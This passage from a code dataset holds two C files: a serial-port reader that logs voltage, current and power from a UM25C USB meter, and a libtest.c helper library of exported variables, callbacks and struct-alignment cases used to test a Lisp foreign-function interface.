file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/92329167.c
/******* * UM25C * * MIT/X11 License * Copyright © 2019 Qball Cow <[email protected]> * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #include <stdio.h> #include <stdint.h> #include <inttypes.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> /** termios */ #include <termios.h> /** Error reporting */ #include <errno.h> #include <string.h> /** endianess conversion */ #include <arpa/inet.h> /** Signal trapping. */ #include <signal.h> /** Option parsing */ #include <getopt.h> /* Time stamping. */ #include <time.h> /** Time calculations */ #include <math.h> const uint8_t msg_data_dump = 0xf0; const uint8_t msg_clear_sum = 0xf4; const uint8_t msg_data_group = 0xa0; const uint8_t data_dump_length = 130; // Quit on signal. static int quit = 0; /** * Data format of UM25C * https://sigrok.org/wiki/RDTech_UM_series */ typedef struct __UMC_MES { uint32_t milliamps; uint32_t milliwatts; } __attribute__((packed,aligned(1))) UMC_MES; /** * Total 130 byte. * Attributes enforces this. */ struct _UMC { uint16_t unknown1; //2 uint16_t millivolts; //4 uint16_t tenths_milliamps; // 6 uint32_t milliwatts; // 10 uint16_t temp_celsius; // 12 uint16_t temp_fahrenheit; //14 uint16_t current_datagroup; //16 UMC_MES mes[10]; // 96 uint16_t pline_centivolts; // 98 uint16_t nline_centivolts; // 100 uint16_t charge_mode; // 102 uint32_t milliamps_threshold; // 106 uint32_t milliwatts_threshold; // 110 uint16_t current_threshold_centivolt; // 112 uint32_t recording_time; // 116 uint16_t recording_active; // 118 uint16_t screen_timeout; // 120 uint16_t screen_backlight; // 122 uint32_t resistance_deciohm; // 126 uint16_t current_screen; // 128 uint16_t unknown2; // 130 } __attribute__((packed,aligned(1))); typedef struct _UMC UMC; typedef union { uint8_t raw[130]; UMC umc; } UMC_READ; /** * Convert endianess. */ static void convert ( UMC *umc ) { umc->millivolts = ntohs(umc->millivolts); umc->tenths_milliamps = ntohs(umc->tenths_milliamps); umc->temp_celsius = ntohs(umc->temp_celsius); umc->temp_fahrenheit = ntohs(umc->temp_fahrenheit); umc->current_datagroup = ntohs(umc->current_datagroup); umc->pline_centivolts = ntohs(umc->pline_centivolts); umc->nline_centivolts = ntohs(umc->nline_centivolts); umc->charge_mode = ntohs(umc->charge_mode); umc->current_threshold_centivolt = ntohs(umc->current_threshold_centivolt); umc->recording_active = ntohs(umc->recording_active); umc->screen_timeout = ntohs(umc->screen_timeout); umc->screen_backlight = ntohs(umc->screen_backlight); umc->current_screen = ntohs(umc->current_screen); for ( int i = 0; i < 10; i++ ) { umc->mes[i].milliamps = ntohl(umc->mes[i].milliamps); umc->mes[i].milliwatts = ntohl(umc->mes[i].milliwatts); } umc->resistance_deciohm = ntohl(umc->resistance_deciohm); umc->milliwatts = ntohl(umc->milliwatts); umc->milliamps_threshold = ntohl(umc->milliamps_threshold); umc->milliwatts_threshold = ntohl(umc->milliwatts_threshold); umc->recording_time = ntohl(umc->recording_time); } /** * Signal handler for handling interrupt. */ static void signal_handler ( int signal ) { if ( signal == SIGINT ) { quit = 1; } } /** * output to standard out. */ static void print ( const char * const print_format, const UMC * const umc, const struct timespec *const now ) { const char *p; for ( p = print_format; *p != '\0'; ) { if ( strncmp ( p, "Volt", strlen("Volt")) == 0 ) { printf("%.03f", umc->millivolts/1000.0); p+= strlen("Volt"); } else if ( strncmp ( p, "Amp", strlen("Amp")) == 0 ) { printf("%.04f", umc->tenths_milliamps/10000.0); p+= strlen("Amp"); } else if ( strncmp ( p, "Watt", strlen("Watt")) == 0 ) { printf("%.03f", umc->milliwatts/1000.0); p+= strlen("Watt"); } else if ( strncmp ( p, "Temp", strlen("Temp")) == 0 ) { printf("%d", umc->temp_celsius); p+= strlen("Temp"); } else if ( strncmp ( p, "Time", strlen("Time")) == 0 ) { printf("%lu.%03ld", now->tv_sec, now->tv_nsec/1000000L); p+= strlen("Time"); } else if ( strncmp ( p, "SumWatt", strlen("SumWatt")) == 0 ) { printf("%.03f", umc->mes[umc->current_datagroup].milliwatts/1000.0); p += strlen("SumWatt"); } else if ( strncmp ( p, "SumAmp", strlen("SumAmp")) == 0 ) { printf("%.03f", umc->mes[umc->current_datagroup].milliamps/1000.0); p += strlen("SumAmp"); } else { putchar(*p); p++; } } printf("\n"); } static int um25c_write ( int fd, uint8_t msg ) { fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds); int retv = select ( fd+1, NULL, &wfds, NULL, NULL ); if ( retv == -1 ) { fprintf(stderr, "Failed to read from serial port: %s\n", strerror(errno)); return 1; } if ( FD_ISSET(fd, &wfds) ) { write(fd, &msg, 1); syncfs(fd); return 0; } return 1; } /** * Helper function to do add to timespec's. * Has no overflow for tv_sec. */ static struct timespec timespec_add ( const struct timespec a, const struct timespec b) { struct timespec retv; retv.tv_sec = a.tv_sec + b.tv_sec; retv.tv_nsec = a.tv_nsec+b.tv_nsec; while ( retv.tv_nsec > 1e9){ retv.tv_sec += 1; retv.tv_nsec -= 1e9; } return retv; } /** * The main applications. */ int main ( int argc, char **argv ) { struct termios oldtio; int fp; /** * Commandline arguments. */ static const struct option long_options[] = { {"help", no_argument, NULL, 'h'}, {"clear", no_argument, NULL, 'c'}, {"format", required_argument, 0, 'f'}, {"device", required_argument, 0, 'd'}, {"interval", required_argument, 0, 'i'}, {"group", required_argument, 0, 'g'}, {0, 0, 0, 0} }; /** Defaults */ char *serial_port = "/dev/rfcomm0"; char *print_format = "Volt, Amp"; double interval = 1.0f; int clear_sum = 0; int data_group = -1; /** * Handle command-line arguments. */ while ( 1 ) { int option_index = 0; int c = getopt_long ( argc, argv, "d:f:i:g:hc", long_options, &option_index); if ( c == -1 ) { // Parsing done. break; } switch (c) { case 'h': printf("Usage: um25c [<options>]\n\n"); printf(" -f, --format: Adjust the output format.\n"); printf(" -d, --device: Set the serial device.\n"); printf(" -i, --interval: Set the sampling interval.\n"); printf(" -c, --clear: Clear the sum value.\n"); printf(" -g, --group: Pick data group.\n"); printf("\n"); printf("Format supports the following options:\n"); printf(" * Time - Unix timestamp\n"); printf(" * Volt - Current voltage\n"); printf(" * Amp - Current amperage\n"); printf(" * Watt - Current Wattage\n"); printf(" * SumWatt - Current data group total Wattage (Wh)\n"); printf(" * SumAmp - Current data group total Amperage (Ah)\n"); printf(" * Temp - Temperature (in Celsius)\n"); printf("\n"); printf("In session, press ctrl-c to quit.\n"); return EXIT_SUCCESS; case 'f': print_format = optarg; fprintf(stderr, "Set output format: %s\n", optarg); break; case 'd': serial_port = optarg; fprintf(stderr, "Set serial port: %s\n", optarg); break; case 'i': interval = strtod(optarg, NULL); fprintf(stderr, "Set interval: %0.1f\n", interval); break; case 'c': clear_sum = 1; break; case 'g': data_group = (int)strtoumax(optarg, NULL, 10); if ( data_group > 9) { data_group = 9; } break; default: fprintf(stderr, "Invalid option passed.\n"); return EXIT_FAILURE; } } // Setup signal handler. signal ( SIGINT, signal_handler); // Connect to serial port. fprintf(stderr, "Connecting...\n"); fp = open ( serial_port, O_RDWR|O_NOCTTY ); if ( fp < 0 ) { fprintf(stderr, "Failed top open serial port: %s\n", strerror(errno) ); return EXIT_FAILURE; } // save status port settings tcgetattr ( fp, &oldtio ); // Setup the serial port. struct termios newtio = { 0, }; newtio.c_cflag = B9600| CS8 | CREAD | PARODD; newtio.c_iflag = 0; newtio.c_oflag = 0; newtio.c_lflag = 0; //ICANON; newtio.c_cc[VMIN] = 1; newtio.c_cc[VTIME] = 0; tcflush ( fp, TCIFLUSH | TCIOFLUSH ); tcsetattr ( fp, TCSANOW, &newtio ); // Start reading. fprintf(stderr, "Starting...\n"); if ( data_group >= 0 ){ fprintf(stderr, "Set data group: %d\n", data_group ); if ( um25c_write ( fp, msg_data_group + (data_group)) ) { fprintf(stderr, "Failed to set data group: %s\n", strerror ( errno ) ); quit = 1; } } // This sleep is required otherwise first data dump will fail if we issued command. usleep(200000); if ( clear_sum ) { fprintf(stderr, "Clear sum\n" ); if ( um25c_write ( fp, msg_clear_sum ) ) { fprintf(stderr, "Failed to clear sum: %s\n", strerror ( errno ) ); quit = 1; } } // This sleep is required otherwise first data dump will fail if we issued command. usleep(200000); // Get initial timestamp. struct timespec start,now; int clk_retv = clock_gettime ( CLOCK_MONOTONIC, &start); if ( clk_retv < 0 ) { fprintf(stderr, "Failed to get time: %s\n", strerror ( errno ) ); quit = 1; } while ( !quit ) { UMC_READ umc; /** * Request a data dump. */ if ( um25c_write ( fp, msg_data_dump ) ) { quit = 1; continue; } /** * Read response */ ssize_t index = 0; while ( index < data_dump_length ) { fd_set rfds; FD_ZERO(&rfds); FD_SET(fp, &rfds); int retv = select ( fp+1, &rfds, NULL, NULL, NULL ); if ( retv == -1 ) { fprintf(stderr, "Failed to read from serial port: %s\n", strerror(errno)); break; } /** If there is data to read, read it. */ if ( FD_ISSET(fp, &rfds) ) { ssize_t r = read( fp, &(umc.raw[index]), 130-index); if (r < 0 ) { fprintf(stderr, "Failed top read from serial port: %s\n", strerror(errno) ); break; } index += r; } if(quit) { break; } } int clk_retv = clock_gettime ( CLOCK_MONOTONIC, &now); if ( clk_retv < 0 ) { fprintf(stderr, "Failed to get time: %s\n", strerror ( errno ) ); break; } /** Convert the format from Network (Big) Endian to Host Endian. */ convert ( &(umc.umc) ); /** Print the result. */ print ( print_format, &(umc.umc), &now ); /** Flush the output. */ fflush(stdout); /** Time calculations. */ double s = trunc(interval); now.tv_sec = (time_t)s; now.tv_nsec = (long)round((interval-s)/1e-9); start = timespec_add (start, now); clk_retv = clock_nanosleep( CLOCK_MONOTONIC, TIMER_ABSTIME, &start, NULL); if ( clk_retv < 0 ) { fprintf(stderr, "Failed to sleep: %s\n", strerror ( errno ) ); quit = 1; } } fprintf(stderr, "Quiting..."); // Closing. tcflush ( fp, TCIFLUSH ); tcsetattr ( fp, TCSANOW, &oldtio ); close(fp); return EXIT_SUCCESS; }
the_stack_data/1172592.c
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil -*- * * libtest.c --- auxiliary C lib for testing purposes * * Copyright (C) 2005-2007, Luis Oliveira <loliveira(@)common-lisp.net> * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #ifdef WIN32 #define DLLEXPORT __declspec(dllexport) #else #define DLLEXPORT #endif #include <stdio.h> #include <limits.h> #include <string.h> #include <stdlib.h> #include <math.h> #include <float.h> #include <stdbool.h> /* MSVC doesn't have stdint.h and uses a different syntax for stdcall */ #ifndef _MSC_VER #include <stdint.h> #endif #ifdef WIN32 #ifdef _MSC_VER #define STDCALL __stdcall #else #define STDCALL __attribute__((stdcall)) #endif #else #define STDCALL #endif /* * Some functions that aren't available on WIN32 */ DLLEXPORT float my_sqrtf(float n) { return (float) sqrt((double) n); } DLLEXPORT char *my_strdup(const char *str) { char *p = malloc(strlen(str) + 1); strcpy(p, str); return p; } DLLEXPORT void my_strfree(char *str) { free(str); } DLLEXPORT long long my_llabs(long long n) { return n < 0 ? -n : n; } DLLEXPORT unsigned long long ullong(unsigned long long n) { return n == ULLONG_MAX ? n : 42; } /* * Foreign Globals * * (var_int is used in MISC-TYPES.EXPAND.3 as well) */ DLLEXPORT char * dll_version = "20120107"; /* TODO: look into signed char vs. unsigned char issue */ DLLEXPORT char var_char = -127; DLLEXPORT unsigned char var_unsigned_char = 255; DLLEXPORT short var_short = -32767; DLLEXPORT unsigned short var_unsigned_short = 65535; DLLEXPORT int var_int = -32767; DLLEXPORT unsigned int var_unsigned_int = 65535; DLLEXPORT long var_long = -2147483647L; DLLEXPORT unsigned long var_unsigned_long = 4294967295UL; DLLEXPORT float var_float = 42.0f; DLLEXPORT double var_double = 42.0; DLLEXPORT void * var_pointer = NULL; DLLEXPORT char * var_string = "Hello, foreign world!"; DLLEXPORT long long var_long_long = -9223372036854775807LL; DLLEXPORT unsigned long long var_unsigned_long_long = 18446744073709551615ULL; DLLEXPORT float float_max = FLT_MAX; DLLEXPORT float float_min = FLT_MIN; DLLEXPORT double double_max = DBL_MAX; DLLEXPORT double double_min = DBL_MIN; /* * Callbacks */ DLLEXPORT int expect_char_sum(char (*f)(char, char)) { return f('a', 3) == 'd'; } DLLEXPORT int expect_unsigned_char_sum(unsigned char (*f)(unsigned char, unsigned char)) { return f(UCHAR_MAX-1, 1) == UCHAR_MAX; } DLLEXPORT int expect_short_sum(short (*f)(short a, short b)) { return f(SHRT_MIN+1, -1) == SHRT_MIN; } DLLEXPORT int expect_unsigned_short_sum(unsigned short (*f)(unsigned short, unsigned short)) { return f(USHRT_MAX-1, 1) == USHRT_MAX; } /* used in MISC-TYPES.EXPAND.4 as well */ DLLEXPORT int expect_int_sum(int (*f)(int, int)) { return f(INT_MIN+1, -1) == INT_MIN; } DLLEXPORT int expect_unsigned_int_sum(unsigned int (*f)(unsigned int, unsigned int)) { return f(UINT_MAX-1, 1) == UINT_MAX; } DLLEXPORT int expect_long_sum(long (*f)(long, long)) { return f(LONG_MIN+1, -1) == LONG_MIN; } DLLEXPORT int expect_unsigned_long_sum(unsigned long (*f)(unsigned long, unsigned long)) { return f(ULONG_MAX-1, 1) == ULONG_MAX; } DLLEXPORT int expect_long_long_sum(long long (*f)(long long, long long)) { return f(LLONG_MIN+1, -1) == LLONG_MIN; } DLLEXPORT int expect_unsigned_long_long_sum (unsigned long long (*f)(unsigned long long, unsigned long long)) { return f(ULLONG_MAX-1, 1) == ULLONG_MAX; } DLLEXPORT int expect_float_sum(float (*f)(float, float)) { /*printf("\n>>> FLOAT: %f <<<\n", f(20.0f, 22.0f));*/ return f(20.0f, 22.0f) == 42.0f; } DLLEXPORT int expect_double_sum(double (*f)(double, double)) { /*printf("\n>>> DOUBLE: %f<<<\n", f(-20.0, -22.0));*/ return f(-20.0, -22.0) == -42.0; } DLLEXPORT int expect_long_double_sum(long double (*f)(long double, long double)) { /*printf("\n>>> DOUBLE: %f<<<\n", f(-20.0, -22.0));*/ return f(-20.0, -22.0) == -42.0; } DLLEXPORT int expect_pointer_sum(void* (*f)(void*, int)) { return f(NULL, 0xDEAD) == (void *) 0xDEAD; } DLLEXPORT int expect_strcat(char* (*f)(char*, char*)) { char *ret = f("Hello, ", "C world!"); int res = strcmp(ret, "Hello, C world!") == 0; /* commented out as a quick fix on platforms that don't foreign allocate in C malloc space. */ /*free(ret);*/ /* is this allowed? */ return res; } DLLEXPORT void pass_int_ref(void (*f)(int*)) { int x = 1984; f(&x); } /* * Enums */ typedef enum { ONE = 1, TWO, THREE, FOUR, FORTY_ONE = 41, FORTY_TWO } numeros; DLLEXPORT int check_enums(numeros one, numeros two, numeros three, numeros four, numeros forty_one, numeros forty_two) { if (one == ONE && two == TWO && three == THREE && four == FOUR && forty_one == FORTY_ONE && forty_two == FORTY_TWO) return 1; return 0; } typedef enum { FALSE, TRUE } another_boolean; DLLEXPORT another_boolean return_enum(int x) { if (x == 0) return FALSE; else return TRUE; } /* * Booleans */ DLLEXPORT int equalequal(int a, unsigned int b) { return ((unsigned int) a) == b; } DLLEXPORT char bool_and(unsigned char a, char b) { return a && b; } DLLEXPORT unsigned long bool_xor(long a, unsigned long b) { return (a && !b) || (!a && b); } DLLEXPORT unsigned sizeof_bool(void) { return (unsigned) sizeof(_Bool); } DLLEXPORT unsigned bool_to_unsigned(_Bool b) { return (unsigned) b; } DLLEXPORT _Bool unsigned_to_bool(unsigned u) { return (_Bool) u; } /* * Test struct alignment issues. These comments assume the x86 gABI. * Hopefully these tests will spot alignment issues in others archs * too. */ /* * STRUCT.ALIGNMENT.1 */ struct s_ch { char a_char; }; /* This struct's size should be 2 bytes */ struct s_s_ch { char another_char; struct s_ch a_s_ch; }; DLLEXPORT struct s_s_ch the_s_s_ch = { 2, { 1 } }; /* * STRUCT.ALIGNMENT.2 */ /* This one should be alignment should be the same as short's alignment. */ struct s_short { char a_char; char another_char; short a_short; }; struct s_s_short { char yet_another_char; struct s_short a_s_short; /* so this should be 2-byte aligned */ }; /* size: 6 bytes */ DLLEXPORT struct s_s_short the_s_s_short = { 4, { 1, 2, 3 } }; /* * STRUCT.ALIGNMENT.3 */ /* This test will, among other things, check for the existence tail padding. */ struct s_double { char a_char; /* 1 byte */ /* padding: 3 bytes */ double a_double; /* 8 bytes */ char another_char; /* 1 byte */ /* padding: 3 bytes */ }; /* total size: 16 bytes */ struct s_s_double { char yet_another_char; /* 1 byte */ /* 3 bytes padding */ struct s_double a_s_double; /* 16 bytes */ short a_short; /* 2 byte */ /* 2 bytes padding */ }; /* total size: 24 bytes */ DLLEXPORT struct s_s_double the_s_s_double = { 4, { 1, 2.0, 3 }, 5 }; /* * STRUCT.ALIGNMENT.4 */ struct s_s_s_double { short another_short; /* 2 bytes */ /* 2 bytes padding */ struct s_s_double a_s_s_double; /* 24 bytes */ char last_char; /* 1 byte */ /* 3 bytes padding */ }; /* total size: 32 */ DLLEXPORT struct s_s_s_double the_s_s_s_double = { 6, { 4, { 1, 2.0, 3 }, 5 }, 7 }; /* * STRUCT.ALIGNMENT.5 */ /* MacOSX ABI says: "The embedding alignment of the first element in a data structure is equal to the element's natural alignment." and "For subsequent elements that have a natural alignment greater than 4 bytes, the embedding alignment is 4, unless the element is a vector." */ /* note: these rules will apply to the structure itself. So, unless it is the first element of another structure, its alignment will be 4. */ /* the following offsets and sizes are specific to darwin/ppc32 */ struct s_double2 { double a_double; /* 8 bytes (alignment 8) */ short a_short; /* 2 bytes */ /* 6 bytes padding */ }; /* total size: 16 */ struct s_s_double2 { char a_char; /* 1 byte */ /* 3 bytes padding */ struct s_double2 a_s_double2; /* 16 bytes, alignment 4 */ short another_short; /* 2 bytes */ /* 2 bytes padding */ }; /* total size: 24 bytes */ /* alignment: 4 */ DLLEXPORT struct s_s_double2 the_s_s_double2 = { 3, { 1.0, 2 }, 4 }; /* * STRUCT.ALIGNMENT.6 */ /* Same as STRUCT.ALIGNMENT.5 but with long long. */ struct s_long_long { long long a_long_long; /* 8 bytes (alignment 8) */ short a_short; /* 2 bytes */ /* 6 bytes padding */ }; /* total size: 16 */ struct s_s_long_long { char a_char; /* 1 byte */ /* 3 bytes padding */ struct s_long_long a_s_long_long; /* 16 bytes, alignment 4 */ short a_short; /* 2 bytes */ /* 2 bytes padding */ }; /* total size: 24 bytes */ /* alignment: 4 */ DLLEXPORT struct s_s_long_long the_s_s_long_long = { 3, { 1, 2 }, 4 }; /* * STRUCT.ALIGNMENT.7 */ /* Another test for Darwin's PPC32 ABI. */ struct s_s_double3 { struct s_double2 a_s_double2; /* 16 bytes, alignment 8*/ short another_short; /* 2 bytes */ /* 6 bytes padding */ }; /* total size: 24 */ struct s_s_s_double3 { struct s_s_double3 a_s_s_double3; /* 24 bytes */ char a_char; /* 1 byte */ /* 7 bytes padding */ }; /* total size: 32 */ DLLEXPORT struct s_s_s_double3 the_s_s_s_double3 = { { { 1.0, 2 }, 3 }, 4 }; /* * STRUCT.ALIGNMENT.8 */ /* Same as STRUCT.ALIGNMENT.[56] but with unsigned long long. */ struct s_unsigned_long_long { unsigned long long an_unsigned_long_long; /* 8 bytes (alignment 8) */ short a_short; /* 2 bytes */ /* 6 bytes padding */ }; /* total size: 16 */ struct s_s_unsigned_long_long { char a_char; /* 1 byte */ /* 3 bytes padding */ struct s_unsigned_long_long a_s_unsigned_long_long; /* 16 bytes, align 4 */ short a_short; /* 2 bytes */ /* 2 bytes padding */ }; /* total size: 24 bytes */ /* alignment: 4 */ DLLEXPORT struct s_s_unsigned_long_long the_s_s_unsigned_long_long = { 3, { 1, 2 }, 4 }; /* STRUCT.ALIGNMENT.x */ /* commented this test out because this is not standard C and MSVC++ (or some versions of it at least) won't compile it. */ /* struct empty_struct {}; struct with_empty_struct { struct empty_struct foo; int an_int; }; DLLEXPORT struct with_empty_struct the_with_empty_struct = { {}, 42 }; */ /* * STRUCT-VALUES.* */ struct pair { int a, b; }; DLLEXPORT int pair_sum(struct pair p) { return p.a + p.b; } DLLEXPORT int pair_pointer_sum(struct pair *p) { return p->a + p->b; } DLLEXPORT struct pair make_pair(int a, int b) { return (struct pair) { a, b }; } DLLEXPORT struct pair *alloc_pair(int a, int b) { struct pair *p = malloc(sizeof(struct pair)); p->a = a; p->b = b; return p; } struct pair_plus_one { struct pair p; int c; }; DLLEXPORT int pair_plus_one_sum(struct pair_plus_one p) { return p.p.a + p.p.b + p.c; } DLLEXPORT int pair_plus_one_pointer_sum(struct pair_plus_one *p) { return p->p.a + p->p.b + p->c; } DLLEXPORT struct pair_plus_one make_pair_plus_one(int a, int b, int c) { return (struct pair_plus_one) { { a, b }, c }; } DLLEXPORT struct pair_plus_one *alloc_pair_plus_one(int a, int b, int c) { struct pair_plus_one *p = malloc(sizeof(struct pair_plus_one)); p->p.a = a; p->p.b = b; p->c = c; return p; } /* * DEFCFUN.NOARGS and DEFCFUN.NOOP */ DLLEXPORT int noargs() { return 42; } DLLEXPORT void noop() { return; } /* * DEFCFUN.BFF.1 * * (let ((rettype (find-type :long)) * (arg-types (n-random-types-no-ll 127))) * (c-function rettype arg-types) * (gen-function-test rettype arg-types)) */ DLLEXPORT long sum_127_no_ll (long a1, unsigned long a2, short a3, unsigned short a4, float a5, double a6, unsigned long a7, float a8, unsigned char a9, unsigned short a10, short a11, unsigned long a12, double a13, long a14, unsigned int a15, void* a16, unsigned int a17, unsigned short a18, long a19, float a20, void* a21, float a22, int a23, int a24, unsigned short a25, long a26, long a27, double a28, unsigned char a29, unsigned int a30, unsigned int a31, int a32, unsigned short a33, unsigned int a34, void* a35, double a36, double a37, long a38, short a39, unsigned short a40, long a41, char a42, long a43, unsigned short a44, void* a45, int a46, unsigned int a47, double a48, unsigned char a49, unsigned char a50, float a51, int a52, unsigned short a53, double a54, short a55, unsigned char a56, unsigned long a57, float a58, float a59, float a60, void* a61, void* a62, unsigned int a63, unsigned long a64, char a65, short a66, unsigned short a67, unsigned long a68, void* a69, float a70, double a71, long a72, unsigned long a73, short a74, unsigned int a75, unsigned short a76, int a77, unsigned short a78, char a79, double a80, short a81, unsigned char a82, float a83, char a84, int a85, double a86, unsigned char a87, int a88, unsigned long a89, double a90, short a91, short a92, unsigned int a93, unsigned char a94, float a95, long a96, float a97, long a98, long a99, int a100, int a101, unsigned int a102, char a103, char a104, unsigned short a105, unsigned int a106, unsigned short a107, unsigned short a108, int a109, long a110, char a111, double a112, unsigned int a113, char a114, short a115, unsigned long a116, unsigned int a117, short a118, unsigned char a119, float a120, void* a121, double a122, int a123, long a124, char a125, unsigned short a126, float a127) { return (long) a1 + a2 + a3 + a4 + ((long) a5) + ((long) a6) + a7 + ((long) a8) + a9 + a10 + a11 + a12 + ((long) a13) + a14 + a15 + ((intptr_t) a16) + a17 + a18 + a19 + ((long) a20) + ((intptr_t) a21) + ((long) a22) + a23 + a24 + a25 + a26 + a27 + ((long) a28) + a29 + a30 + a31 + a32 + a33 + a34 + ((intptr_t) a35) + ((long) a36) + ((long) a37) + a38 + a39 + a40 + a41 + a42 + a43 + a44 + ((intptr_t) a45) + a46 + a47 + ((long) a48) + a49 + a50 + ((long) a51) + a52 + a53 + ((long) a54) + a55 + a56 + a57 + ((long) a58) + ((long) a59) + ((long) a60) + ((intptr_t) a61) + ((intptr_t) a62) + a63 + a64 + a65 + a66 + a67 + a68 + ((intptr_t) a69) + ((long) a70) + ((long) a71) + a72 + a73 + a74 + a75 + a76 + a77 + a78 + a79 + ((long) a80) + a81 + a82 + ((long) a83) + a84 + a85 + ((long) a86) + a87 + a88 + a89 + ((long) a90) + a91 + a92 + a93 + a94 + ((long) a95) + a96 + ((long) a97) + a98 + a99 + a100 + a101 + a102 + a103 + a104 + a105 + a106 + a107 + a108 + a109 + a110 + a111 + ((long) a112) + a113 + a114 + a115 + a116 + a117 + a118 + a119 + ((long) a120) + ((intptr_t) a121) + ((long) a122) + a123 + a124 + a125 + a126 + ((long) a127); } /* * DEFCFUN.BFF.2 * * (let ((rettype (find-type :long-long)) * (arg-types (n-random-types 127))) * (c-function rettype arg-types) * (gen-function-test rettype arg-types)) */ DLLEXPORT long long sum_127 (void* a1, void* a2, float a3, unsigned long a4, void* a5, long long a6, double a7, double a8, unsigned short a9, int a10, long long a11, long a12, short a13, unsigned int a14, long a15, unsigned char a16, int a17, double a18, short a19, short a20, long long a21, unsigned int a22, unsigned short a23, short a24, void* a25, short a26, unsigned short a27, unsigned short a28, int a29, long long a30, void* a31, int a32, unsigned long a33, unsigned long a34, void* a35, unsigned long long a36, float a37, int a38, short a39, void* a40, unsigned long long a41, long long a42, unsigned long a43, unsigned long a44, unsigned long long a45, unsigned long a46, char a47, double a48, long a49, unsigned int a50, int a51, short a52, void* a53, long a54, unsigned long long a55, int a56, unsigned short a57, unsigned long long a58, float a59, void* a60, float a61, unsigned short a62, unsigned long a63, float a64, unsigned int a65, unsigned long long a66, void* a67, double a68, unsigned long long a69, double a70, double a71, long long a72, void* a73, unsigned short a74, long a75, void* a76, short a77, double a78, long a79, unsigned char a80, void* a81, unsigned char a82, long a83, double a84, void* a85, int a86, double a87, unsigned char a88, double a89, short a90, long a91, int a92, long a93, double a94, unsigned short a95, unsigned int a96, int a97, char a98, long long a99, double a100, float a101, unsigned long a102, short a103, void* a104, float a105, long long a106, int a107, long long a108, long long a109, double a110, unsigned long long a111, double a112, unsigned long a113, char a114, char a115, unsigned long a116, short a117, unsigned char a118, unsigned char a119, int a120, int a121, float a122, unsigned char a123, unsigned char a124, double a125, unsigned long long a126, char a127) { return (long long) ((intptr_t) a1) + ((intptr_t) a2) + ((long) a3) + a4 + ((intptr_t) a5) + a6 + ((long) a7) + ((long) a8) + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 + a17 + ((long) a18) + a19 + a20 + a21 + a22 + a23 + a24 + ((intptr_t) a25) + a26 + a27 + a28 + a29 + a30 + ((intptr_t) a31) + a32 + a33 + a34 + ((intptr_t) a35) + a36 + ((long) a37) + a38 + a39 + ((intptr_t) a40) + a41 + a42 + a43 + a44 + a45 + a46 + a47 + ((long) a48) + a49 + a50 + a51 + a52 + ((intptr_t) a53) + a54 + a55 + a56 + a57 + a58 + ((long) a59) + ((intptr_t) a60) + ((long) a61) + a62 + a63 + ((long) a64) + a65 + a66 + ((intptr_t) a67) + ((long) a68) + a69 + ((long) a70) + ((long) a71) + a72 + ((intptr_t) a73) + a74 + a75 + ((intptr_t) a76) + a77 + ((long) a78) + a79 + a80 + ((intptr_t) a81) + a82 + a83 + ((long) a84) + ((intptr_t) a85) + a86 + ((long) a87) + a88 + ((long) a89) + a90 + a91 + a92 + a93 + ((long) a94) + a95 + a96 + a97 + a98 + a99 + ((long) a100) + ((long) a101) + a102 + a103 + ((intptr_t) a104) + ((long) a105) + a106 + a107 + a108 + a109 + ((long) a110) + a111 + ((long) a112) + a113 + a114 + a115 + a116 + a117 + a118 + a119 + a120 + a121 + ((long) a122) + a123 + a124 + ((long) a125) + a126 + a127; } /* * CALLBACKS.BFF.1 (cb-test :no-long-long t) */ DLLEXPORT long call_sum_127_no_ll (long (*func) (unsigned long, void*, long, double, unsigned long, float, float, int, unsigned int, double, double, double, void*, unsigned short, unsigned short, void*, long, long, int, short, unsigned short, unsigned short, char, long, void*, void*, char, unsigned char, unsigned long, short, int, int, unsigned char, short, long, long, void*, unsigned short, char, double, unsigned short, void*, short, unsigned long, unsigned short, float, unsigned char, short, float, short, char, unsigned long, unsigned long, char, float, long, void*, short, float, unsigned int, float, unsigned int, double, unsigned int, unsigned char, int, long, char, short, double, int, void*, char, unsigned short, void*, unsigned short, void*, unsigned long, double, void*, long, float, unsigned short, unsigned short, void*, float, int, unsigned int, double, float, long, void*, unsigned short, float, unsigned char, unsigned char, float, unsigned int, float, unsigned short, double, unsigned short, unsigned long, unsigned int, unsigned long, void*, unsigned char, char, char, unsigned short, unsigned long, float, short, void*, long, unsigned short, short, double, short, int, char, unsigned long, long, int, void*, double, unsigned char)) { return func(948223085, (void *) 803308438, -465723152, 20385, 